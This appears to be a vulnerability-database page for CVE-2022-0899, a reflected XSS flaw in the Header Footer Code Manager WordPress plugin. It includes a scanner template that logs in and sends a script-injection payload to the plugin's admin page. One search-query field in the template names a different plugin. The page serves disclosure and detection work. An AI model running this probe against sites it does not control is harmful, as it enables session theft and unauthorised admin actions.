CVE-2022-0899: Header Footer Code Manager < 1.1.24 - Cross-Site Scripting

2025-08-01 Header Footer Code Manager PoC Public

Description

The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.

PoC

id: CVE-2022-0899

info:
  name: Header Footer Code Manager < 1.1.24 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Header Footer Code Manager WordPress plugin before 1.1.24 does not escape generated URLs before outputting them back in attributes in an admin page, leading to a Reflected Cross-Site Scripting.
  impact: |
    Authenticated attackers can inject malicious JavaScript via reflected XSS in URL parameters, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Upgrade to Header Footer Code Manager version 1.1.24 or later.
  reference:
    - https://wpscan.com/vulnerability/1772417a-1abb-4d97-9694-1254840defd1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0899
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0899
    cwe-id: CWE-79
    epss-score: 0.01323
    epss-percentile: 0.69466
    cpe: cpe:2.3:a:draftpress:header_footer_code_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: draftpress
    product: header_footer_code_manager
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: cve2022,cve,wpscan,wp,wp-plugin,wordpress,xss,authenticated,draftpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=hfcm-list&'><script>alert(/document.domain/)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(/document.domain/)</script>")'
          - 'contains(body_2, "All Snippets")'
        condition: and
# digest: 4a0a0047304502206fa2142bce56ff7f50b306309c3250efaed39e7f28a0ea61308e9fba9f92d4bb022100a741f5e207b3659427f1fc874963b1c8c9c286f58bf57cdd8f2e46847bf55d41:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities